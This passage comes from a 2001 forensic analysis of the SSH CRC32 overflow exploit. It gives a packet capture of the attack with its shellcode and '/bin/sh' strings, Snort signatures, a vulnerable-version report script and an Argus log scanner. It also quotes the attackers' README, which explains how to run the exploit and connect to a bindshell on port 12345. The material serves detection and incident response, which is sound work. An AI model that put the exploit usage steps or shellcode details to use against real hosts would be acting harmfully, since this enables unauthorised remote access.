file "sshdx.dump", rather than the exploit itself, is available [11]
for those wishing to tune their IDSs to detect signatures of this
particular exploit. Use something like "tcpreplay" [12] if your IDS
does not support tcpdump files, then tell your coders to write tcpdump
import functions like Snort. ;)

[NOTE:  The tcpdump file was obtained using Red Hat's screwed up
libpcap, which includes the device name in the dump records.  This
means that all utilities, like "ngrep", must be linked against
Red Hat's stock libpcap in order to read this file.  I REALLY wish
that Red Hat had worked with the folks who maintain libpcap and
convinced them to support either dump format, or switch to adding
the device name in the standard libpcap, instead of going their
own way in what seems to be typical Linux fashion.  This *really*
makes it hard to share tcpdump files between operating systems.]

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# tcpdump -s1500 -w sshdx.dump ip host 10.10.10.3 &
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

It can readily be seen that multiple connections are made to the SSH
daemon, and using "ngrep" [5], you can even spot the final connection
and brute force attack which interjects the shell code:

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 . . .

T 10.10.10.3:2222 -> 10.10.10.10:32957 [AP]
  SSH-1.5-1.2.31.                                                      

T 10.10.10.10:32957 -> 10.10.10.3:2222 [AP]
  SSH-1.5-OpenSSH_2.2.0p1.                                             

T 10.10.10.3:2222 -> 10.10.10.10:32957 [AP]
  ............GA..@.......%....`..P.....D&..2.+7#...1!?..c.r).8.^.h.....
  ..I..b6..9.f........N..0....:[email protected]......(.D2.Zg......#.......\.j
  W...O$....6.......$...V..;[email protected]<\..o..?..l.........*.p.K<s..,..
  [email protected]..%".....G*g.G.t(......M........[.......J......<.   

T 10.10.10.10:32957 -> 10.10.10.3:2222 [AP]
  ............GA..@.....`G.Fg.g.!.i.}..........._.e....=../..6....;....)
  T.....|c...#W.\wve.cy .n.....q.Sc....}..".N.G.w"....n.../#.....8x..&.Z
  ....Q/.......8..                                                     

T 10.10.10.3:2222 -> 10.10.10.10:32957 [AP]
  .........4..                                                         

T 10.10.10.10:32957 -> 10.10.10.3:2222 [A]
  ..W...2.......2.......2.......2.......2.......2.......2.......2.......
  2.......2.......2.......2.......2.......2.......2.......2.......2 ....
  ..2!......2$......2%......2(......2)......2,......2-......20......21..
  ....24......25......28......29......2<[email protected]
  ......2E......2H......2I......2L......2M......2P......2Q......2T......
  2U......2X......2Y......2\......2]......2`......2a......2d......2e....
  ..2h......2i......2l......2m......2p......2q......2t......2u......2x..
  ....2y......2|......2}......2.......2.......2.......2.......2.......2.
  ......2.......2.......2.......2.......2.......2.......2.......2.......
  2.......2.......2.......2.......2.......2.......2.......2.......2.....
  ..2.......2.......2.......2.......2.......2.......2.......2.......2...
  ....2.......2.......2.......2.......2.......2.......2.......2.......2.
  ......2.......2.......2.......2.......2.......2.......2.......2.......
  2.......2.......2.......2.......2.......2.......2.......2.......2.....
  ..2.......2.......2.......2.......2.......2.......3.......3.......3...
  ....3.......3.......3.......3.......3.......3.......3.......3.......3.
  ......3.......3.......3.......3.......3 ......3!......3$......3%......
  3(......3)......3,......3-......30......31......34......35......38....
  ..39......3<[email protected]..
  ....3L......3M......3P......3Q......3T......3U......3X......3Y......3\
  ......3]......3`......3a......3d........1...p}.@                     

T 10.10.10.10:32957 -> 10.10.10.3:2222 [A]
  ......3i......3l......3m......3p......3q......3t......3u......3x......
  3y......3|......3}......3.......3.......3.......3.......3.......3.....
  ..3.......3.......3.......3.......3.......3.......3.......3.......3...
  ....3.......3.......3.......3.......3.......3.......3.......3.......3.
  ......3.......3.......3.......3.......3.......3.......3.......3.......
  3.......3.......3.......3.......3.......3.......3.......3.......3.....
  ..3.......3.......3.......3.......3.......3.......3.......3.......3...
  ....3.......3.......3.......3.......3.......3.......3.......3.......3.
  ......3.......3.......3.......3.......3.......4.......4.......4.......
  4.......4.......4.......4.......4.......4.......4.......4.......4.....
  ..4.......4.......4.......4.......4 ......4!......4$......4%......4(..
  ....4)......4,......4-......40......41......44......45......48......49
  ......4<[email protected]......
  4L......4M......4P......4Q......4T......4U......4X......4Y......4\....
  ..4]......4`......4a......4d......4e......4h......4i......4l......4m..
  ....4p......4q......4t......4u......4x......4y......4|......4}......4.
  ......4.......4.......4.......4.......4.......4.......4.......4.......
  4.......4.......4.......4.......4.......4.......4.......4.......4.....
  ..4.......4.......4.......4.......4.......4.......4.......4.......4...
  ....4.......4.......4.......4.......4.......4.......4.......4.......4.
  ......4.......4.......4.......4.........1...p}.@                     

 . . .

T 10.10.10.10:32957 -> 10.10.10.3:2222 [A]
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  .....................1..f..1...C.].C.].K.M..M...1..E.Cf.].f.E.09.M..E.
  .E..E.....M.....CC....C....1..?......A....^.u.1..F..E......M..U.......
  ./bin/sh.h0h0h0, 7350, zip/TESO!......................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ........................................1...p}.@                     
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

You can match (for this exploit binary) on the string "h0h0h0, 7350,
zip/TESO!" [7] in the packet payload, as well as for the "/bin/sh"
and NOP sled.  (Of course these, and other strings, may change or
disappear in derivatives of the original source.)

The following signatures were developed by Marty Roesch and Brian
Caswell, for use with Snort v1.8 or higher [6]. 

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
alert tcp $EXTERNAL_NET any -> $HOME_NET 22     \
    (msg:"EXPLOIT ssh CRC32 overflow /bin/sh";  \
    flags:A+; content:"/bin/sh";                \
    reference:bugtraq,2347; reference:cve,CVE-2001-0144; \
    classtype:shellcode-detect;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 22     \
    (msg:"EXPLOIT ssh CRC32 overflow filler";   \
    flags:A+; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00|"; \
    reference:bugtraq,2347; reference:cve,CVE-2001-0144; \
    classtype:shellcode-detect;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 22     \
    (msg:"EXPLOIT ssh CRC32 overflow NOOP";     \
    flags:A+; content:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; \
    reference:bugtraq,2347; reference:cve,CVE-2001-0144; \
    classtype:shellcode-detect;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 \
    (msg:"EXPLOIT ssh CRC32 overflow";      \
    flags:A+; content:"|00 01 57 00 00 00 18|"; offset:0; depth:7; \
    content:"|FF FF FF FF 00 00|"; offset:8; depth:14;   \
    reference:bugtraq,2347; reference:cve,CVE-2001-0144; \
    classtype:shellcode-detect;)
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Identification of potentially vulnerable or exploited hosts
===========================================================

Two scanners exist to identify ssh servers and their versions: Jeremy
Mates' scan_ssh.pl[8] and Niels Provos' ScanSSH scanner[9].  A script
to take the results of a scan with scan_ssh.pl and produce a break
report on SSH server version and potential vulnerability can be found
in Appendix A.  You may need to update the script based on
vulnerability information provided by the authors of various SSH
servers to get accurate results.

[NOTE: You are not necessarily vulnerable just because the banner
shows a version string that is listed as "affected".  If the patches
listed in the RAZOR advisory, e.g., are applied, or if you eliminate
v1 and use v2 of the protocol exclusively, the server will not be
vulnerable.]

Russell Fulton also has published a script for processing Argus[10]
logs, included below in Appendix C.

Final Note
==========

Team TESO issued a public statement about this exploit on 11/8/2001.
You can find it here:

 http://www.team-teso.org/sshd_statement.php

Credits
=======

Thanks to Cindy Jenkins of UW MCIS for recovery of the artifacts
analyzed here, Marty Roesch and Brian Caswell for Snort signatures,
Mike Hornung for vulnerability assessment scan data and patches to
Jeremy Mates' scanner, Russell Fulton, Peter Van Epp, Simple Nomad,
Rik Farrow, Dug Song, Paul Tatarsky, Markus Friedl, other unnamed
individuals, and all the folks at SecurityFocus.com for their input.

Dave Dittrich <[email protected]>
http://staff.washington.edu/dittrich/

 

References
==========

[1] Portable Linux Amazing CD (PLAC) v2.9.1pre2, by Fred Cohen
    http://www.all.net/ForensiX/plac.html

[2] Netcat, by der Hobbit
    http://www.l0pht.com/~weld/netcat/

[3] Reverse Engineer's Query Tool
    http://packetstormsecurity.org/linux/reverse-engineering/reqt-0.7f.tar.gz

[4] LiSt Open Files (lsof)
    http://sunsite.securitycentralhq.com/mirrors/security/lsof/lsof.tar.gz

[5] ngrep, by Jordan Ritter
    http://www.packetfactory.net/projects/ngrep/

[6] Snort, by Marty Roesch and a cast of thousands
    http://www.snort.org/

[7] 7350.org / 7350
    http://www.7350.org/
    http://www.team-teso.org/about.php  (see the bottom)

[8] ssh_scan.pl, by Jeremy Mates
    http://sial.org/code/perl/scripts/ssh_scan.pl.html

[9] ScanSSH scanner by Niels Provos
    http://www.monkey.org/~provos/scanssh/

[10] Argus - A generic IP network transaction auditing tool
    http://www.qosient.com/argus

[11] tcpdump of attack traffic (using Red Hat's screwed up version of libpcap)
    http://staff.washington.edu/dittrich/misc/sshdx.dump

[12] tcpreplay
    http://packages.debian.org/testing/net/tcpreplay.html

Appendix A
==========

Script for producing a one level break report based on known
vulnerability status of several SSH servers and versions.
(NOTE: You may need to modify this script for it to be accurate,
and to understand its limitations - You must read it before using
it.)

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-  cut here -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#!/usr/bin/perl
#
# ssh-report
#
# Dave Dittrich <[email protected]>
# Thu Nov 15 06:28:02 PST 2001
#
# Process output of scans for SSH servers, with version identifying
# information, into two level break report format by SSH version.
#
# This script operates on a list of scan results that look
# like this:
#
#   % cat scanresults
#   10.0.0.1    beavertail.dept.foo.edu  SSH-1.5-1.2.31
#   10.0.0.2    lumpysoup.dept.foo.edu   SSH-1.5-1.2.31
#   10.0.0.3    marktwain.dept.foo.edu   SSH-1.99-OpenSSH_2.5.2p2
#   10.0.0.4    junebug.dept.foo.edu     SSH-1.5-1.2.31
#   10.0.0.10   calvin.dept.foo.edu      SSH-1.99-OpenSSH_2.5.2p2
#   10.0.0.11   hobbes.dept.foo.edu      SSH-1.99-OpenSSH_2.1.1
#   10.0.0.20   willow.dept.foo.edu      SSH-1.99-OpenSSH_2.9p2
#   10.0.0.21   berry.dept.foo.edu       SSH-1.99-OpenSSH_2.9p2
#   10.0.0.23   whimpy.dept.foo.edu      SSH-1.99-OpenSSH_2.9p2
#
# The resulting report (without the "-a" flag) will look like this:
#
#     % ssh-report < scanresults
#    
#     SSH-1.5-1.2.31 (affected)
#       beavertail.dept.foo.edu(10.0.0.1)
#       lumpysoup.dept.foo.edu(10.0.0.2)
#       junebug.dept.foo.edu(10.0.0.4)
#    
#    
#     SSH-1.99-OpenSSH_2.1.1 (affected)
#       hobbes.dept.foo.edu(10.0.0.11)
#     
# By default, this script will only report on those systems that
# are running potentially vulnerable SSH servers.  Use the "-a"
# option to report on all servers.  Use "grep -v" to filter out
# hosts *before* you run them through this reporting script.
#
# SSH servers are considered "affected" if they are known, by being
# listed in one or more of the following references, to have the crc32
# compensation attack detector vulnerability:
#
#     http://www.kb.cert.org/vuls/id/945216
#     http://www.securityfocus.com/bid/2347/
#     http://xforce.iss.net/alerts/advise100.php
#     http://www.ssh.com/products/ssh/advisories/ssh1_crc-32.cfm
#
# You also may need to adjust the logic below to lump systems
# into the "Unknown" category correctly (e.g., if your server
# has a custom version string, access control, etc.)
#
# The list below of servers and potential vulnerability was derived by
# summarizing existing versions on a set of production networks and
# using the advisories and reference material listed above.  You
# should update this list as new information is obtained, or if new
# versions of the SSH server are found on your network.

# Note -- According to Marcus Friedl:
#
# > the rules are simpler:
# >
# > 1) protocol 2 only
# >
# > all
# >  SSH-2.0-*
# > are not affected, since no protocol v1 is iisnvolved.
# >
# > 2) protocol 1 und 2 support
# >
# > since
# >  SSH-1.99-*
# > supports both protocol versions, it gets more difficult.
# > for the commercial server, you never know the version
# > of the server that will be called for the fallback,
# > you have to assume that all
# >  SSH-1.99-[23]*
# > are affected, and
# >  SSH-1.99-OpenSSH[-_].x.y
# > are affected for versions x.y < 2.3
# >
# > 3) protocol 1 only
# >  SSH-1.5-OpenSSH[-_].x.y
# > is affected versions x.y < 2.3
# >
# > and the commercial versions.
# >
# >  SSH-1.5-1.2.2[456789]
# >  SSH-1.5-1.2.3[01]
#
# Based on this, the correct rules should be as follows (update your
# own rules per the above if this list is not complete.)

%affected = (
'Unknown', 'unknown',
'SSH-1.4-1.2.13', 'not affected',
'SSH-1.4-1.2.14', 'not affected',
'SSH-1.4-1.2.15', 'not affected',
'SSH-1.4-1.2.16', 'not affected',
'SSH-1.5-1.2.17', 'not affected',
'SSH-1.5-1.2.18', 'not affected',
'SSH-1.5-1.2.19', 'not affected',
'SSH-1.5-1.2.20', 'not affected',
'SSH-1.5-1.2.21', 'not affected',
'SSH-1.5-1.2.22', 'not affected',
'SSH-1.5-1.2.23', 'not affected',
'SSH-1.5-1.2.24', 'affected',
'SSH-1.5-1.2.25', 'affected',
'SSH-1.5-1.2.26', 'affected',
'SSH-1.5-1.2.27', 'affected',
'SSH-1.5-1.2.28', 'affected',
'SSH-1.5-1.2.29', 'affected',
'SSH-1.5-1.2.30', 'affected',
'SSH-1.5-1.2.31', 'affected',
'SSH-1.5-1.2.31a', 'not affected', # Custom version post-CORE advisory
'SSH-1.5-1.2.32', 'not affected',
'SSH-1.5-1.3.6', 'affected',
'SSH-1.5-1.3.7', 'affected',
'SSH-1.5-1.3.8', 'affected',
'SSH-1.5-1.3.9', 'affected',
'SSH-1.5-1.3.10', 'affected', # F-Secure SSH versions prior to 1.3.11-2
'SSH-1.5-Cisco-1.25', 'unknown',
'SSH-1.5-OSU_1.5alpha1', 'unknown',
'SSH-1.5-OpenSSH-1.2', 'affected',
'SSH-1.5-OpenSSH-1.2.1', 'affected',
'SSH-1.5-OpenSSH-1.2.2', 'affected',
'SSH-1.5-OpenSSH-1.2.3', 'affected',
'SSH-1.5-OpenSSH_2.5.1', 'not affected',
'SSH-1.5-OpenSSH_2.5.1p1', 'not affected',
'SSH-1.5-OpenSSH_2.9p1', 'not affected',
'SSH-1.5-OpenSSH_2.9p2', 'not affected',
'SSH-1.5-RemotelyAnywhere', 'not affected',
'SSH-1.99-2.0.11', 'affected w/Version 1 fallback',
'SSH-1.99-2.0.12', 'affected w/Version 1 fallback',
'SSH-1.99-2.0.13', 'affected w/Version 1 fallback',
'SSH-1.99-2.1.0.pl2', 'affected w/Version 1 fallback',
'SSH-1.99-2.1.0', 'affected w/Version 1 fallback',
'SSH-1.99-2.2.0', 'affected w/Version 1 fallback',
'SSH-1.99-2.3.0', 'affected w/Version 1 fallback',
'SSH-1.99-2.4.0', 'affected w/Version 1 fallback',
'SSH-1.99-3.0.0', 'affected w/Version 1 fallback',
'SSH-1.99-3.0.1', 'affected w/Version 1 fallback',
'SSH-1.5-OpenSSH-2.1', 'affected',
'SSH-1.5-OpenSSH_2.1.1', 'affected',
'SSH-1.5-OpenSSH_2.2.0', 'affected',
'SSH-1.5-OpenSSH_2.2.0p1', 'affected',
'SSH-1.5-OpenSSH_2.3.0', 'not affected',
'SSH-1.5-OpenSSH_2.3.0p1', 'not affected',
'SSH-1.5-OpenSSH_2.5.1', 'not affected',
'SSH-1.5-OpenSSH_2.5.1p1', 'not affected',
'SSH-1.5-OpenSSH_2.5.1p2', 'not affected',
'SSH-1.5-OpenSSH_2.5.2p2', 'not affected',
'SSH-1.5-OpenSSH_2.9.9p2', 'not affected',
'SSH-1.5-OpenSSH_2.9', 'not affected',
'SSH-1.5-OpenSSH_2.9p1', 'not affected',
'SSH-1.5-OpenSSH_2.9p2', 'not affected',
'SSH-1.5-OpenSSH_3.0p1', 'not affected',
'SSH-1.5-OpenSSH-2.1', 'affected',
'SSH-1.99-OpenSSH_2.1.1', 'affected',
'SSH-1.99-OpenSSH_2.2.0', 'affected',
'SSH-1.99-OpenSSH_2.2.0p1', 'affected',
'SSH-1.99-OpenSSH_2.3.0', 'not affected',
'SSH-1.99-OpenSSH_2.3.0p1', 'not affected',
'SSH-1.99-OpenSSH_2.5.1', 'not affected',
'SSH-1.99-OpenSSH_2.5.1p1', 'not affected',
'SSH-1.99-OpenSSH_2.5.1p2', 'not affected',
'SSH-1.99-OpenSSH_2.5.2p2', 'not affected',
'SSH-1.99-OpenSSH_2.9.9p2', 'not affected',
'SSH-1.99-OpenSSH_2.9', 'not affected',
'SSH-1.99-OpenSSH_2.9p1', 'not affected',
'SSH-1.99-OpenSSH_2.9p2', 'not affected',
'SSH-1.99-OpenSSH_3.0p1', 'not affected',
);

# Make SURE you read the code first.
&IKnowWhatImDoing();

$all++, shift(@ARGV) if $ARGV[0] eq "-a";

while (<>) {
 chop;
 s/\s+/ /g;
 ($ip, $host, $version) = split(' ', $_);

 # Adjust this to identify other strings reported
 # by servers that have access restrictions, etc.
 # in place and do not show a specific version number.
 # They all fall under the category "Unknown" in this case.
 $version = "Unknown"
  if ($version eq "Couldn't" ||
      $version eq "Unknown" ||
      $version eq "You" ||
      $version eq "timeout");

 $server{"$version:$ip"} = $host;
}

foreach $i (sort keys %server) {
 ($version,$ip) = split(":", $i);
 next if (($version =~ m|SSH-2.0-|) ||
   ($affected{$version} eq "not affected") && ! $all);
 printf("\n\n%s (%s)\n", $version, $affected{$version})
  if ($curver ne $version);
 $curver = $version;
 print "  " . $server{$i} . "($ip)\n";
}

exit(0);

sub IKnowWhatImDoing {
 local $IKnowWhatImDoing = 0;

 # Uncomment the following line to make this script work.
 # $IKnowWhatImDoing++;
        die "I told you to read the code first, didn't I?\n"
  unless $IKnowWhatImDoing;
        return;
}
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-  cut here -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Appendix B
==========

The following is a README file that is accompanying one version
of the SSH crc32 exploit:

---

sh exploit demystified: info supplied by XXXXXXXXXXXXXXXXXXXXXXXXXXXX
1. rename the exploit to filename: ssh
2. type:export blah=loser
3. Once u figured out the syntax, this is how the exploit works

First stage is the brute force, if it quits while brute forcing and says
stack not found means the ssh is not vunerable
Note:This takes ages, if it brute forces for anything more than 45min >
i suggest you cancel it
Second stage:
If brute force is successful it will mvoe on to the second stage
it will try some values

if the exploit shows this:
and freezes on the dots, it means your in business

exploiting...

DO NOT CLOSE THE EXPLOIT
Instead open another term and telnet to the hosts port 12345 for a
bindshell remeber to append commands with ; eg: ls;

 

If it tries all the values and fails, then u're outta business and it
should drop u back to shell

EOF
p.s:from my experience i have found the openssh 1.5 to be utter shit in
exploiting, the ssh 1.2.6-1.2.30 has a higher chance of success rate
Last words:This exploit only works maybe 2/10 times so be patient.

---

Appendix C
==========

Russell Fulton published the following to the [email protected]
email list, based on information provided by Peter Van Epp.

From [email protected] Thu Nov  8 12:38:15 2001
Date: Mon, 5 Nov 2001 11:31:05 +1300 (NZDT)
Subject: [unisog] Tool to find ssh attacks in argus logs
From: Russell Fulton <[email protected]>
To: [email protected], [email protected]

Greetings All,
      Here is a quick perl hack to scan archived argus[1] logs
for evidence of ssh attacks.  The current attack that we have seen
iterates an offset for the shell code and this script picks up the
repeated attempts.  The script is quite specific to this attack and
looks for ssh session within a quite narrow size range.

It has been tested by Peter Van Epp (thanks Peter!) on real data and 
picked up all know attacks that they had seen and outgoing attacks from
machine on the network that had already been compromised.  Peter also
modified the script to work with argus 1.8.x (see comments).

This is a first cut at this problem.  If I get time I will modify this
(using stuff from my watcher scan detector script) to give real time
notification on attacks.

[1]: Argus IP audit tool http://www.qosient.com

Russell Fulton, Computer and Network Security Officer
The University of Auckland,  New Zealand

#!/usr/bin/perl

my %ipn;

$ENV{TZ} = 'UTC';

# Assumes version 2.0 ra -- remove A switch if running with 1.8.x data

if (! open(RA, "bin/ra -Ancr ".join(' ', @ARGV) .
                     " - tcp and dst port 22 |") ) {
        die "failed to open connection to server";
}

while(<RA>) {
  chomp;
  my ( $timestmp, $proto, $src,  $srcp, $sym, $dst,
       $dstp, $topkt, $fpkt, $tobytes, $fbytes, $status) =
    unpack "A19x3A4a15xA6A3x2A16xA5xA8xA9xA12xA12a10", $_;
# From Peter Van Epp:
# If you are luditte like me and still running 1.8.1 comment out the 3 lines
# above and uncomment the 5 lines below

#  my ( $timestmp, $flag, $proto, $src,  $srcp, $sym, $dst,
#       $dstp, $topkt, $fpkt, $tobytes, $fbytes, $status) =
#           unpack "A18xA3xA4xA15xA6A3xA15xA5xA6xA6x2A9xA9A3", $_;
#  $src =~ s/ //g;
#  $dst =~ s/ //g;

next unless ( $tobytes > 90000 and $tobytes < 110000 and
       $fbytes > 300 and $fbytes < 400);

  if( ! exists $ipn{$src} ) {
      $ipn {$src} = {};
      $ipn {$src}->{COUNT} = 1;
      $ipn {$src}->{TOTAL} = 0;
      $ipn{$src}->{TIME} = $timestmp;
#print "$ipn{$src}->{TIME}\n";
      $ipn {$src}->{$dst} = 1;
  };
  if( ! exists $ipn{$src}->{$dst} ) {
      $ipn {$src}->{COUNT}++;
      $ipn {$src}->{$dst} = 1;
  } else {
      $ipn {$src}->{$dst}++;
  }
  $ipn {$src}->{TOTAL}++;
  $ipn{$src}->{LTIME} = $timestmp;

}
print scalar keys %ipn, "\n";

foreach my $ip (sort {$ipn{$b}->{TOTAL} <=> $ipn{$a}->{TOTAL}} keys
%ipn ) {
#   my $dn = gethostbyaddr(pack("C4",split(/\./,$ipn)),2) || '';
#    last if $ipn{$ip}->{TOTAL} == 1;
   print "$ip $ipn{$ip}->{TIME} -- $ipn{$ip}->{LTIME} # number of
targets $ipn{$ip}->{COUNT} total sessions $ipn{$ip}->{TOTAL}\n" ;
}